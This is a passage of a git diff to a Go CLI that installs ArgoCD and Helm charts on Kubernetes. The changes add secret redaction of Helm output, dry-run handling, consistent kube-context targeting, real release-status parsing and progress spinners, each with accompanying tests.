argocd-apps (Health") { + t.Errorf("the kubectl command must not contain the decorated label; got:\n%s", msg) + } +} + +// TestTimeoutError_BoundsTheApplicationList: a large platform can leave dozens +// of applications pending. The list must not bury the next-step hint. +func TestTimeoutError_BoundsTheApplicationList(t *testing.T) { + var many []string + for i := 0; i < 25; i++ { + many = append(many, "app-"+string(rune('a'+i))) + } + + msg := timeoutError(time.Minute, 0, 25, many, many).Error() + + if !strings.Contains(msg, "and 15 more") { + t.Errorf("the list must be truncated with a count of the remainder; got:\n%s", msg) + } + if strings.Contains(msg, "app-y") { + t.Errorf("the 25th application must not be listed; got:\n%s", msg) + } + if !strings.Contains(msg, "kubectl get applications") { + t.Errorf("the next-step hint must survive truncation; got:\n%s", msg) + } +} + +// TestTimeoutError_NoAppsIsStillLegible: timing out before any application was +// observed (app-of-apps never produced children) must not print an empty list. +func TestTimeoutError_NoAppsIsStillLegible(t *testing.T) { + msg := timeoutError(time.Minute, 0, 0, nil, nil).Error() + + if strings.Contains(msg, "still not ready:") { + t.Errorf("an empty list must be omitted, not printed empty; got:\n%s", msg) + } + if strings.Contains(msg, "describe application") { + t.Errorf("there is no application to describe; got:\n%s", msg) + } + if !strings.Contains(msg, "timeout after 1m0s") { + t.Errorf("the message must still state the timeout; got:\n%s", msg) + } +} diff --git a/internal/chart/providers/git/auth.go b/internal/chart/providers/git/auth.go index f4be7267..0bd78390 100644 --- a/internal/chart/providers/git/auth.go +++ b/internal/chart/providers/git/auth.go @@ -48,9 +48,6 @@ func extractGitAuth(rawURL string) gitAuth { return gitAuth{cleanURL: u.String(), username: username, token: token} } -// hasToken reports whether a credential was present. -func (a gitAuth) hasToken() bool { return a.token != "" } - // buildAuth returns the in-memory HTTP auth method for a private repository, or // nil for a public one. The token lives only in memory — never in the URL, // argv, or a credentials file. GitHub PAT auth expects the token as the diff --git a/internal/chart/providers/git/auth_test.go b/internal/chart/providers/git/auth_test.go index 6f60aa85..f5b18441 100644 --- a/internal/chart/providers/git/auth_test.go +++ b/internal/chart/providers/git/auth_test.go @@ -15,7 +15,6 @@ func TestExtractGitAuth(t *testing.T) { assert.Equal(t, "https://github.com/org/repo", a.cleanURL) assert.Equal(t, "x-access-token", a.username) assert.Equal(t, fakeToken, a.token) - assert.True(t, a.hasToken()) // Single-field userinfo (https://@host, a common PAT shorthand): the // token is in the username field with no password — it must be recognized as @@ -24,11 +23,10 @@ func TestExtractGitAuth(t *testing.T) { assert.Equal(t, "https://github.com/org/repo", tok.cleanURL) assert.Empty(t, tok.username) assert.Equal(t, fakeToken, tok.token) - assert.True(t, tok.hasToken()) pub := extractGitAuth("https://github.com/org/repo") assert.Equal(t, "https://github.com/org/repo", pub.cleanURL) - assert.False(t, pub.hasToken()) + assert.Empty(t, pub.token) } // TestBuildAuth is the I1 guard: a private-repo token is handed to go-git only diff --git a/internal/chart/providers/git/repository.go b/internal/chart/providers/git/repository.go index 44ab683d..abf6ce17 100644 --- a/internal/chart/providers/git/repository.go +++ b/internal/chart/providers/git/repository.go @@ -11,6 +11,7 @@ import ( "github.com/flamingo-stack/openframe-cli/internal/chart/models" gogit "github.com/go-git/go-git/v5" "github.com/go-git/go-git/v5/plumbing" + "github.com/pterm/pterm" ) // Repository handles git operations for chart repositories using go-git — no @@ -104,9 +105,11 @@ func isBranchNotFound(err error) bool { func (r *Repository) Cleanup(tempDir string) { if tempDir != "" { if err := os.RemoveAll(tempDir); err != nil { - // Log the error but don't fail the operation - // This is cleanup so we don't want to break the main flow - fmt.Printf("Warning: failed to cleanup temporary directory %s: %v\n", tempDir, err) + // Log the error but don't fail the operation: this is cleanup, and + // aborting the main flow over a leftover temp dir is worse than the + // leak. pterm.Warning, not fmt.Printf — the latter writes straight to + // stdout and ignores --silent. + pterm.Warning.Printfln("Failed to clean up the temporary directory %s: %v", tempDir, err) } } } diff --git a/internal/chart/providers/helm/argocd_wait.go b/internal/chart/providers/helm/argocd_wait.go index aa96c036..7d3c044b 100644 --- a/internal/chart/providers/helm/argocd_wait.go +++ b/internal/chart/providers/helm/argocd_wait.go @@ -12,6 +12,7 @@ import ( "github.com/flamingo-stack/openframe-cli/internal/k8s" "github.com/flamingo-stack/openframe-cli/internal/platform" "github.com/flamingo-stack/openframe-cli/internal/shared/executor" + "github.com/flamingo-stack/openframe-cli/internal/shared/redact" "github.com/pterm/pterm" corev1 "k8s.io/api/core/v1" k8serrors "k8s.io/apimachinery/pkg/api/errors" @@ -216,10 +217,11 @@ func (h *HelmManager) verifyHelmRelease(ctx context.Context, releaseName, namesp return fmt.Errorf("failed to run helm list: %w", err) } - // Log the helm list output + // Log the helm list output. Redact at the print site (the struct value is + // parsed below): helm output may carry values echoed back from the release. if verbose { pterm.Info.Println("Helm list output:") - pterm.Println(result.Stdout) + pterm.Println(redact.Redact(result.Stdout)) } // Check if the release exists in the output @@ -247,7 +249,7 @@ func (h *HelmManager) verifyHelmRelease(ctx context.Context, releaseName, namesp if verbose { pterm.Info.Println("Helm status output:") - pterm.Println(statusResult.Stdout) + pterm.Println(redact.Redact(statusResult.Stdout)) } pterm.Success.Printf("Helm release '%s' verified successfully\n", releaseName) diff --git a/internal/chart/providers/helm/dryrun_install_test.go b/internal/chart/providers/helm/dryrun_install_test.go new file mode 100644 index 00000000..eba3efc8 --- /dev/null +++ b/internal/chart/providers/helm/dryrun_install_test.go @@ -0,0 +1,62 @@ +package helm + +import ( + "context" + "runtime" + "strings" + "testing" + + "github.com/flamingo-stack/openframe-cli/internal/chart/utils/config" + "github.com/flamingo-stack/openframe-cli/internal/shared/executor" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + k8sfake "k8s.io/client-go/kubernetes/fake" +) + +// TestInstallArgoCD_DryRunSkipsVerification is the regression guard for the +// dry-run failure the e2e caught the moment `--context ... --dry-run` became +// reachable (N2 fix): helm runs with --dry-run=client and the dry-run executor +// suppresses real calls, so post-install release verification ("helm list +// returned empty") and deployment waits are guaranteed to fail — they must be +// skipped entirely in dry-run mode. +func TestInstallArgoCD_DryRunSkipsVerification(t *testing.T) { + // InstallArgoCDWithProgress refuses on native Windows (WSLClusterHint) before + // reaching the dry-run logic under test. That guard is dead in production — + // the CLI forwards into WSL first — and the behaviour asserted here is + // OS-independent and covered on Linux/darwin. Same skip as namespace_test.go. + if runtime.GOOS == "windows" { + t.Skip("native cluster ops are refused on Windows (must run inside WSL)") + } + mock := executor.NewMockCommandExecutor() + m, err := NewHelmManager(mock, nil, false) + require.NoError(t, err) + // The pre-install reachability check stays active in dry-run (validating + // the target is part of dry-run's value); satisfy it with a fake clientset + // (a NotFound answer still proves the API server responded). + m.kubeClient = k8sfake.NewSimpleClientset() + + cfg := config.ChartInstallConfig{ + DryRun: true, + NonInteractive: true, + KubeContext: "k3d-test", + } + require.NoError(t, m.InstallArgoCDWithProgress(context.Background(), cfg), + "dry-run install must succeed without a live cluster") + + // The repo add/update + install commands run (through the dry-run-aware + // executor), but nothing may try to LIST the release afterwards — that is + // the verification step dry-run can never satisfy. + for _, rc := range mock.Commands() { + if rc.Name == "helm" && len(rc.Args) > 0 && rc.Args[0] == "list" { + t.Fatalf("dry-run must not verify the release via helm list: %v", rc.Args) + } + } + var sawInstall bool + for _, rc := range mock.Commands() { + if rc.Name == "helm" && len(rc.Args) > 0 && rc.Args[0] == "upgrade" { + sawInstall = true + assert.Contains(t, strings.Join(rc.Args, " "), "--dry-run=client") + } + } + assert.True(t, sawInstall, "the helm install itself must still be issued") +} diff --git a/internal/chart/providers/helm/error_redaction_test.go b/internal/chart/providers/helm/error_redaction_test.go new file mode 100644 index 00000000..8ce1e20f --- /dev/null +++ b/internal/chart/providers/helm/error_redaction_test.go @@ -0,0 +1,67 @@ +package helm + +import ( + "context" + "runtime" + "strings" + "testing" + "time" + + "github.com/flamingo-stack/openframe-cli/internal/chart/utils/config" + "github.com/flamingo-stack/openframe-cli/internal/shared/executor" + "github.com/flamingo-stack/openframe-cli/internal/shared/redact" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + corev1 "k8s.io/api/core/v1" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + k8sfake "k8s.io/client-go/kubernetes/fake" +) + +// TestInstallArgoCD_ErrorDoesNotLeakStdout is the regression guard for the +// stdout fallback in the failure path: when helm fails with EMPTY stderr (the +// Windows/WSL case, where stderr is folded into stdout via 2>&1), the error +// embeds result.Stdout. Helm's rendered output can echo values — including the +// docker registry password — so it must be redacted before it reaches the +// user-facing error. Stderr is already redacted by the executor at population; +// stdout is not, because callers parse it. +func TestInstallArgoCD_ErrorDoesNotLeakStdout(t *testing.T) { + // InstallArgoCDWithProgress refuses on native Windows (WSLClusterHint) before + // reaching the failure path under test. That guard is dead in production (the + // CLI forwards into WSL first) and the redaction asserted here is + // OS-independent, covered on Linux/darwin. Same skip as namespace_test.go. + if runtime.GOOS == "windows" { + t.Skip("native cluster ops are refused on Windows (must run inside WSL)") + } + const secret = "dckr_pat_leakedRegistryPassword" + redact.RegisterSecret(secret) + t.Cleanup(redact.ClearSecrets) + + mock := executor.NewMockCommandExecutor() + // helm install fails, reporting only on stdout (stderr empty) — the exact + // shape the stdout fallback exists for. + mock.SetResponse("upgrade", &executor.CommandResult{ + ExitCode: 1, + Stdout: "Error: values rendered:\n registry.docker.password: " + secret + "\n", + Stderr: "", + Duration: time.Millisecond, + }) + m, err := NewHelmManager(mock, nil, false) + require.NoError(t, err) + // Pre-create an Active argocd namespace so the pre-install ensure/reachability + // steps pass immediately and the test reaches the helm failure path. + m.kubeClient = k8sfake.NewSimpleClientset(&corev1.Namespace{ + ObjectMeta: metav1.ObjectMeta{Name: "argocd"}, + Status: corev1.NamespaceStatus{Phase: corev1.NamespaceActive}, + }) + + err = m.InstallArgoCDWithProgress(context.Background(), config.ChartInstallConfig{ + NonInteractive: true, + KubeContext: "k3d-test", + }) + require.Error(t, err, "the install must fail") + + assert.NotContainsf(t, err.Error(), secret, + "the error leaks a registered secret from helm stdout:\n%s", err.Error()) + assert.Truef(t, strings.Contains(err.Error(), "***"), + "expected the redaction marker in the error, got:\n%s", err.Error()) +} diff --git a/internal/chart/providers/helm/kubecontext_test.go b/internal/chart/providers/helm/kubecontext_test.go new file mode 100644 index 00000000..38e3e397 --- /dev/null +++ b/internal/chart/providers/helm/kubecontext_test.go @@ -0,0 +1,53 @@ +package helm + +import ( + "path/filepath" + "testing" + + "github.com/flamingo-stack/openframe-cli/internal/chart/utils/config" +) + +// TestHelmKubeContext is the F4 one-target guard: an explicit KubeContext +// (from --context / the interactive target selector) must win over the +// ClusterName-derived context, so the helm CLI targets the same cluster as the +// native clients built from the resolved rest.Config. +func TestHelmKubeContext(t *testing.T) { + // Point context resolution at a nonexistent kubeconfig so the ClusterName + // fallback is deterministic (k3d-) regardless of the host machine. + t.Setenv("KUBECONFIG", filepath.Join(t.TempDir(), "absent")) + + t.Run("explicit context wins over cluster name", func(t *testing.T) { + got := helmKubeContext(config.ChartInstallConfig{KubeContext: "prod-ctx", ClusterName: "my-cluster"}) + if got != "prod-ctx" { + t.Fatalf("got %q, want prod-ctx", got) + } + }) + + t.Run("cluster name resolves to its k3d context", func(t *testing.T) { + got := helmKubeContext(config.ChartInstallConfig{ClusterName: "my-cluster"}) + if got != "k3d-my-cluster" { + t.Fatalf("got %q, want k3d-my-cluster", got) + } + }) + + t.Run("neither set yields empty (current context)", func(t *testing.T) { + if got := helmKubeContext(config.ChartInstallConfig{}); got != "" { + t.Fatalf("got %q, want empty", got) + } + }) +} + +// TestArgoCDInstallArgs_ExplicitContext: the resolved context reaches the +// actual helm argv. +func TestArgoCDInstallArgs_ExplicitContext(t *testing.T) { + args := argoCDInstallArgs(config.ChartInstallConfig{KubeContext: "prod-ctx", ClusterName: "my-cluster"}, "-") + for i := 0; i+1 < len(args); i++ { + if args[i] == "--kube-context" { + if args[i+1] != "prod-ctx" { + t.Fatalf("--kube-context %q, want prod-ctx", args[i+1]) + } + return + } + } + t.Fatal("argv must carry --kube-context") +} diff --git a/internal/chart/providers/helm/manager.go b/internal/chart/providers/helm/manager.go index caec1431..303e8406 100644 --- a/internal/chart/providers/helm/manager.go +++ b/internal/chart/providers/helm/manager.go @@ -2,6 +2,7 @@ package helm import ( "context" + "encoding/json" stderrors "errors" "fmt" "os" @@ -18,6 +19,7 @@ import ( "github.com/flamingo-stack/openframe-cli/internal/platform" sharedconfig "github.com/flamingo-stack/openframe-cli/internal/shared/config" "github.com/flamingo-stack/openframe-cli/internal/shared/executor" + "github.com/flamingo-stack/openframe-cli/internal/shared/redact" uispinner "github.com/flamingo-stack/openframe-cli/internal/shared/ui/spinner" "github.com/pterm/pterm" k8serrors "k8s.io/apimachinery/pkg/api/errors" @@ -184,11 +186,31 @@ func (h *HelmManager) UninstallRelease(ctx context.Context, releaseName, namespa Env: h.getHelmEnv(), }) if err != nil { - return fmt.Errorf("helm uninstall %s: %w", releaseName, err) + // Name the target: "helm uninstall argo-cd: exit status 1" gave no way + // to tell which namespace, or which cluster, the failure happened in. + target := fmt.Sprintf("release %s in namespace %s", releaseName, namespace) + if kubeContext != "" { + target += fmt.Sprintf(" (context %s)", kubeContext) + } + return fmt.Errorf("helm uninstall of %s failed: %w", target, err) } return nil } +// helmKubeContext resolves the kube-context every helm CLI call targets: an +// explicit cfg.KubeContext (from --context / the interactive target selector) +// wins, otherwise the context of the selected cluster. One install must never +// talk to two clusters (audit F4). +func helmKubeContext(cfg config.ChartInstallConfig) string { + if cfg.KubeContext != "" { + return cfg.KubeContext + } + if cfg.ClusterName != "" { + return k8s.ResolveContextForCluster(k8s.DefaultKubeconfigPath(), cfg.ClusterName) + } + return "" +} + // argoCDInstallArgs builds the `helm upgrade --install argo-cd` argument list. // Pure and testable — the CRDs are installed by the chart itself // (crds.install=true), so no crds flag is passed. @@ -202,8 +224,8 @@ func argoCDInstallArgs(cfg config.ChartInstallConfig, valuesFilePath string) []s "--timeout", "7m", "-f", valuesFilePath, } - if cfg.ClusterName != "" { - args = append(args, "--kube-context", k8s.ResolveContextForCluster(k8s.DefaultKubeconfigPath(), cfg.ClusterName)) + if kubeContext := helmKubeContext(cfg); kubeContext != "" { + args = append(args, "--kube-context", kubeContext) } if cfg.DryRun { // Explicit client-side dry-run: the bare --dry-run form is deprecated in @@ -368,11 +390,14 @@ func (h *HelmManager) InstallArgoCDWithProgress(ctx context.Context, config conf h.showArgoCDDiagnostics(ctx, config.ClusterName) // Include stdout and stderr output for better debugging - // On Windows/WSL, stderr is redirected to stdout via 2>&1, so check both + // On Windows/WSL, stderr is redirected to stdout via 2>&1, so check both. + // Stderr is redacted by the executor at population; stdout is NOT (callers + // parse it), so redact it here — helm's rendered output can echo values, + // including the docker registry password, into a user-facing error. if result != nil { output := result.Stderr if output == "" { - output = result.Stdout + output = redact.Redact(result.Stdout) } if output != "" { return fmt.Errorf("failed to install ArgoCD: %w\nHelm output: %s", err, output) @@ -381,11 +406,15 @@ func (h *HelmManager) InstallArgoCDWithProgress(ctx context.Context, config conf return fmt.Errorf("failed to install ArgoCD: %w", err) } - // Log Helm output for debugging (helps identify if Helm actually created resources) + // Log Helm output for debugging (helps identify if Helm actually created + // resources). Stdout is redacted at the PRINT site (not in the result + // struct, which callers parse): helm's rendered output can echo values — + // including the docker registry password — in verbose/dry-run mode. + // Stderr arrives already redacted by the executor. if config.Verbose && result != nil { if result.Stdout != "" { pterm.Info.Println("Helm stdout:") - pterm.Println(result.Stdout) + pterm.Println(redact.Redact(result.Stdout)) } if result.Stderr != "" { pterm.Info.Println("Helm stderr:") @@ -393,6 +422,19 @@ func (h *HelmManager) InstallArgoCDWithProgress(ctx context.Context, config conf } } + // Dry-run creates nothing: helm ran with --dry-run=client and the executor + // suppressed real calls entirely, so verifying the release or waiting for + // deployments below would fail by construction ("helm list returned + // empty"). Caught by the e2e `--context ... --non-interactive --dry-run` + // step the moment the N2 fix made this path reachable. + if config.DryRun { + if spinner != nil { + spinner.Stop() + } + pterm.Info.Println("Skipping release verification and deployment waits (dry-run)") + return nil + } + // Verify the Helm release was actually created by checking helm list if err := h.verifyHelmRelease(ctx, argocd.ArgoCDReleaseName, argocd.ArgoCDNamespace, config.ClusterName, config.Verbose); err != nil { if spinner != nil { @@ -537,10 +579,10 @@ func (h *HelmManager) InstallAppOfAppsFromLocal(ctx context.Context, config conf } } - // Add explicit kube-context if cluster name is provided (important for Windows/WSL) - if config.ClusterName != "" { - contextName := k8s.ResolveContextForCluster(k8s.DefaultKubeconfigPath(), config.ClusterName) - args = append(args, "--kube-context", contextName) + // Add the explicit kube-context (important for Windows/WSL; an explicit + // --context wins over the cluster-derived one — F4 one-target rule) + if kubeContext := helmKubeContext(config); kubeContext != "" { + args = append(args, "--kube-context", kubeContext) } if config.DryRun { @@ -548,6 +590,17 @@ func (h *HelmManager) InstallAppOfAppsFromLocal(ctx context.Context, config conf args = append(args, "--dry-run=client") } + // This helm call carries `--wait --timeout ` (60m by + // default) and produces no output while it blocks. Without an indicator the + // CLI looks hung for the longest phase of an install — mirror the spinner + // InstallArgoCDWithProgress uses. + var spinner *uispinner.Spinner + if !config.Silent && !config.NonInteractive { + spinner = uispinner.Start("Installing the OpenFrame app-of-apps chart...") + } else { + pterm.Info.Println("Installing the OpenFrame app-of-apps chart...") + } + // Execute helm command with local chart path result, err := h.executor.ExecuteWithOptions(ctx, executor.ExecuteOptions{ Command: "helm", @@ -556,6 +609,9 @@ func (h *HelmManager) InstallAppOfAppsFromLocal(ctx context.Context, config conf }) if err != nil { + if spinner != nil { + spinner.Fail("app-of-apps installation failed") + } // Check if the error is due to context cancellation (CTRL-C) if ctx.Err() == context.Canceled { return ctx.Err() // Return context cancellation directly without extra messaging @@ -568,29 +624,55 @@ func (h *HelmManager) InstallAppOfAppsFromLocal(ctx context.Context, config conf return fmt.Errorf("failed to install app-of-apps: %w", err) } + if spinner != nil { + spinner.Success("app-of-apps chart installed") + } + return nil } -// GetChartStatus returns the status of a chart +// helmMetadata is the subset of `helm get metadata --output json` we consume. +type helmMetadata struct { + Name string `json:"name"` + Namespace string `json:"namespace"` + Status string `json:"status"` + Version string `json:"version"` // chart version, e.g. "0.1.0" + AppVersion string `json:"appVersion"` // packaged app version, e.g. "1.16.0" +} + +// GetChartStatus returns the real status of a release. +// +// It used to run `helm status --output json`, discard the output, and return a +// literal {Status: "deployed", Version: "1.0.0"} — so a failed release reported +// itself as deployed, and every chart reported version 1.0.0. +// +// `helm get metadata` is used rather than `helm status` because status's JSON +// carries no chart version at all, and its top-level "version" field is the +// RELEASE REVISION (1, 2, 3...), not the chart version. Parsing that would have +// swapped one wrong answer for another. func (h *HelmManager) GetChartStatus(ctx context.Context, releaseName, namespace string) (models.ChartInfo, error) { - args := []string{"status", releaseName, "-n", namespace, "--output", "json"} + args := []string{"get", "metadata", releaseName, "-n", namespace, "--output", "json"} - _, err := h.executor.ExecuteWithOptions(ctx, executor.ExecuteOptions{ + result, err := h.executor.ExecuteWithOptions(ctx, executor.ExecuteOptions{ Command: "helm", Args: args, Env: h.getHelmEnv(), }) if err != nil { - return models.ChartInfo{}, fmt.Errorf("failed to get chart status: %w", err) + return models.ChartInfo{}, fmt.Errorf("failed to get status of release %s in namespace %s: %w", releaseName, namespace, err) + } + + var meta helmMetadata + if err := json.Unmarshal([]byte(strings.TrimSpace(result.Stdout)), &meta); err != nil { + return models.ChartInfo{}, fmt.Errorf("failed to parse `helm get metadata` output for release %s: %w", releaseName, err) } - // Parse JSON output and return chart info - // For now, return basic info return models.ChartInfo{ - Name: releaseName, - Namespace: namespace, - Status: "deployed", // Parse from JSON - Version: "1.0.0", // Parse from JSON + Name: meta.Name, + Namespace: meta.Namespace, + Status: meta.Status, + Version: meta.Version, + AppVersion: meta.AppVersion, }, nil } diff --git a/internal/chart/providers/helm/manager_args_test.go b/internal/chart/providers/helm/manager_args_test.go index 9f84301f..e10cd3a0 100644 --- a/internal/chart/providers/helm/manager_args_test.go +++ b/internal/chart/providers/helm/manager_args_test.go @@ -13,7 +13,7 @@ func TestArgoCDInstallArgs(t *testing.T) { for _, want := range []string{ "upgrade --install argo-cd argo/argo-cd", - "--version=10.1.1", + "--version=10.1.3", "--namespace argocd", "--create-namespace", "--wait", diff --git a/internal/chart/providers/helm/manager_test.go b/internal/chart/providers/helm/manager_test.go index 30401e05..d3421993 100644 --- a/internal/chart/providers/helm/manager_test.go +++ b/internal/chart/providers/helm/manager_test.go @@ -194,6 +194,12 @@ func TestHelmManager_IsChartInstalled(t *testing.T) { } } +// metadataCmd is the argv GetChartStatus issues. `helm get metadata` is used +// instead of `helm status` because status's JSON carries no chart version, and +// its top-level "version" field is the release REVISION — verified against helm +// v4.2.2 on a live release. +const metadataCmd = "helm get metadata argocd -n argocd --output json" + func TestHelmManager_GetChartStatus(t *testing.T) { tests := []struct { name string @@ -201,25 +207,56 @@ func TestHelmManager_GetChartStatus(t *testing.T) { namespace string setupMock func(*MockExecutor) expectError bool + wantStatus string + wantVersion string + wantApp string }{ { name: "successful status retrieval", releaseName: "argocd", namespace: "argocd", setupMock: func(m *MockExecutor) { - m.SetResult("helm status argocd -n argocd --output json", &executor.CommandResult{ + m.SetResult(metadataCmd, &executor.CommandResult{ ExitCode: 0, - Stdout: `{"name":"argocd","namespace":"argocd","info":{"status":"deployed"}}`, + Stdout: `{"name":"argocd","namespace":"argocd","status":"deployed","version":"7.7.5","appVersion":"v2.13.0","revision":3}`, }) }, - expectError: false, + wantStatus: "deployed", + wantVersion: "7.7.5", + wantApp: "v2.13.0", + }, + { + // The point of M2.4: the method used to return a literal + // "deployed"/"1.0.0" regardless of what helm reported, so a broken + // release looked healthy and every chart claimed version 1.0.0. + name: "a failed release is reported as failed", + releaseName: "argocd", + namespace: "argocd", + setupMock: func(m *MockExecutor) { + m.SetResult(metadataCmd, &executor.CommandResult{ + ExitCode: 0, + Stdout: `{"name":"argocd","namespace":"argocd","status":"failed","version":"7.7.5","appVersion":"v2.13.0"}`, + }) + }, + wantStatus: "failed", + wantVersion: "7.7.5", + wantApp: "v2.13.0", }, { name: "status command fails", releaseName: "argocd", namespace: "argocd", setupMock: func(m *MockExecutor) { - m.SetError("helm status argocd -n argocd --output json", assert.AnError) + m.SetError(metadataCmd, assert.AnError) + }, + expectError: true, + }, + { + name: "unparseable output is an error, not a fabricated status", + releaseName: "argocd", + namespace: "argocd", + setupMock: func(m *MockExecutor) { + m.SetResult(metadataCmd, &executor.CommandResult{ExitCode: 0, Stdout: `not json`}) }, expectError: true, }, @@ -239,7 +276,9 @@ func TestHelmManager_GetChartStatus(t *testing.T) { assert.NoError(t, err) assert.Equal(t, tt.releaseName, info.Name) assert.Equal(t, tt.namespace, info.Namespace) - assert.Equal(t, "deployed", info.Status) + assert.Equal(t, tt.wantStatus, info.Status) + assert.Equal(t, tt.wantVersion, info.Version, "the chart version must come from helm, not a constant") + assert.Equal(t, tt.wantApp, info.AppVersion) } }) } diff --git a/internal/chart/services/appofapps.go b/internal/chart/services/appofapps.go index 4dca1ac0..c86763f7 100644 --- a/internal/chart/services/appofapps.go +++ b/internal/chart/services/appofapps.go @@ -2,6 +2,7 @@ package services import ( "context" + "fmt" "strings" "time" @@ -11,6 +12,7 @@ import ( "github.com/flamingo-stack/openframe-cli/internal/chart/utils/config" "github.com/flamingo-stack/openframe-cli/internal/chart/utils/errors" sharedErrors "github.com/flamingo-stack/openframe-cli/internal/shared/errors" + "github.com/flamingo-stack/openframe-cli/internal/shared/ui/spinner" "github.com/pterm/pterm" ) @@ -45,12 +47,23 @@ func (a *AppOfApps) Install(ctx context.Context, config config.ChartInstallConfi appConfig.GitHubBranch = "main" // Default to main branch } - // Always show which branch is being used for cloning with dots to indicate work is happening - pterm.Info.Printf("Using branch '%s'...\n", appConfig.GitHubBranch) - - // Clone the repository to a temporary directory + // Say what is being DEPLOYED (the resolved ref), not "used" — the old + // wording read as if it reflected the cluster's current ref, which made a + // dry-run against a cluster on another ref confusing (verification report, + // minor observation). + pterm.Info.Printf("Deploying ref '%s'...\n", appConfig.GitHubBranch) + + // Clone the repository to a temporary directory. On a cold cache this is a + // full clone over the network and used to run without any indicator. + var cloneSpinner *spinner.Spinner + if !config.Silent && !config.NonInteractive { + cloneSpinner = spinner.Start(fmt.Sprintf("Cloning the OpenFrame chart repository (ref %s)...", appConfig.GitHubBranch)) + } cloneResult, err := a.gitRepo.CloneChartRepository(ctx, appConfig) if err != nil { + if cloneSpinner != nil { + cloneSpinner.Fail("Could not clone the chart repository") + } // Check if this is a branch not found error if strings.Contains(err.Error(), "branch") && strings.Contains(err.Error(), "does not exist") { // Return the proper error type @@ -58,6 +71,9 @@ func (a *AppOfApps) Install(ctx context.Context, config config.ChartInstallConfi } return errors.NewRecoverableChartError("clone", "Git repository", err, 10*time.Second).WithCluster(config.ClusterName) } + if cloneSpinner != nil { + cloneSpinner.Success("Chart repository cloned") + } // Ensure cleanup happens after installation completes (success or failure) defer func() { diff --git a/internal/chart/services/argocd.go b/internal/chart/services/argocd.go index b81d49f5..f88615c6 100644 --- a/internal/chart/services/argocd.go +++ b/internal/chart/services/argocd.go @@ -11,6 +11,7 @@ import ( "github.com/flamingo-stack/openframe-cli/internal/chart/utils/errors" "github.com/flamingo-stack/openframe-cli/internal/shared/executor" "github.com/pterm/pterm" + "k8s.io/client-go/rest" ) // ArgoCD handles ArgoCD installation logic @@ -21,18 +22,35 @@ type ArgoCD struct { executor executor.CommandExecutor } -// NewArgoCD creates a new ArgoCD service -func NewArgoCD(helmManager *helm.HelmManager, pathResolver *config.PathResolver, exec executor.CommandExecutor) *ArgoCD { - // Create a non-verbose executor for ArgoCD operations to reduce command spam - // We'll handle verbose logging at a higher level in the ArgoCD manager +// NewArgoCDForTarget creates an ArgoCD service whose wait manager watches the +// SAME cluster the install targets: the given rest.Config when available, +// otherwise the named cluster's context. A bare manager would lazily +// resolve the kubeconfig's CURRENT context, which during an install may be a +// completely different cluster — the wait would then time out against (or, +// worse, report ready from) the wrong target (audit F4). +func NewArgoCDForTarget(helmManager *helm.HelmManager, pathResolver *config.PathResolver, exec executor.CommandExecutor, kubeConfig *rest.Config, clusterName string) (*ArgoCD, error) { argoCDExecutor := executor.NewRealCommandExecutor(false, false) // Never verbose for internal operations + var manager *argocd.Manager + switch { + case kubeConfig != nil: + m, err := argocd.NewManagerWithConfig(argoCDExecutor, kubeConfig) + if err != nil { + return nil, err + } + manager = m + case clusterName != "": + manager = argocd.NewManagerWithCluster(argoCDExecutor, clusterName) + default: + manager = argocd.NewManager(argoCDExecutor) + } + return &ArgoCD{ helmManager: helmManager, pathResolver: pathResolver, - argoCDManager: argocd.NewManager(argoCDExecutor), + argoCDManager: manager, executor: exec, - } + }, nil } // Install installs ArgoCD using Helm diff --git a/internal/chart/services/chart_service.go b/internal/chart/services/chart_service.go index b40dec52..96be87c2 100644 --- a/internal/chart/services/chart_service.go +++ b/internal/chart/services/chart_service.go @@ -4,6 +4,7 @@ import ( "context" stderrors "errors" "fmt" + "os" "strings" "time" @@ -33,6 +34,11 @@ type ChartService struct { displayService *chartUI.DisplayService helmManager *helm.HelmManager gitRepository *git.Repository + // kubeConfig is the rest.Config the HelmManager was built with — the single + // install target. The ArgoCD wait manager is constructed from it too, so the + // helm CLI, the native checks, and the readiness wait all watch the same + // cluster (audit F4). + kubeConfig *rest.Config } // NewChartService creates a new chart service with the given rest.Config @@ -44,7 +50,10 @@ func NewChartService(clusterAccess types.ClusterAccess, kubeConfig *rest.Config, // Initialize configuration service configService := config.NewService() if err := configService.Initialize(); err != nil { - pterm.Debug.Printf("config service initialization failed: %v\n", err) + // Warning, not Debug: Debug printed nothing at all until --verbose was + // wired to EnableDebugMessages, and a config service that failed to + // initialize silently degrades every later step. + pterm.Warning.Printfln("Configuration service failed to initialize: %v", err) } // Create HelmManager with the rest.Config @@ -61,6 +70,7 @@ func NewChartService(clusterAccess types.ClusterAccess, kubeConfig *rest.Config, displayService: chartUI.NewDisplayService(), helmManager: helmManager, gitRepository: git.NewRepository(), + kubeConfig: kubeConfig, }, nil } @@ -73,7 +83,10 @@ func NewChartServiceDeferred(clusterAccess types.ClusterAccess, dryRun, verbose // Initialize configuration service configService := config.NewService() if err := configService.Initialize(); err != nil { - pterm.Debug.Printf("config service initialization failed: %v\n", err) + // Warning, not Debug: Debug printed nothing at all until --verbose was + // wired to EnableDebugMessages, and a config service that failed to + // initialize silently degrades every later step. + pterm.Warning.Printfln("Configuration service failed to initialize: %v", err) } return &ChartService{ @@ -96,6 +109,7 @@ func (cs *ChartService) initializeHelmManager(kubeConfig *rest.Config, verbose b return fmt.Errorf("failed to create HelmManager: %w", err) } cs.helmManager = helmManager + cs.kubeConfig = kubeConfig return nil } @@ -121,28 +135,12 @@ func (cs *ChartService) InstallWithContext(ctx context.Context, req types.Instal return workflow.ExecuteWithContext(ctx, req) } -// InstallWithContextDeferred performs installation with deferred HelmManager initialization -// This is used when KubeConfig is not available upfront (e.g., standalone chart install) +// InstallWithContextDeferred performs installation with deferred HelmManager +// initialization — used when KubeConfig is not available upfront (standalone +// chart install). Same workflow as InstallWithContext: the nil HelmManager on a +// service built by NewChartServiceDeferred triggers the in-workflow resolution. func (cs *ChartService) InstallWithContextDeferred(ctx context.Context, req types.InstallationRequest) error { - // Check if context is already cancelled - select { - case <-ctx.Done(): - return fmt.Errorf("chart installation cancelled: %w", ctx.Err()) - default: - } - - // Create installation workflow with direct dependencies - fileCleanup := files.NewFileCleanup() - fileCleanup.SetCleanupOnSuccessOnly(true) // Only clean temporary files after successful ArgoCD sync - - workflow := &InstallationWorkflow{ - chartService: cs, - clusterService: cs.clusterService, - fileCleanup: fileCleanup, - } - - // Execute workflow with deferred initialization - return 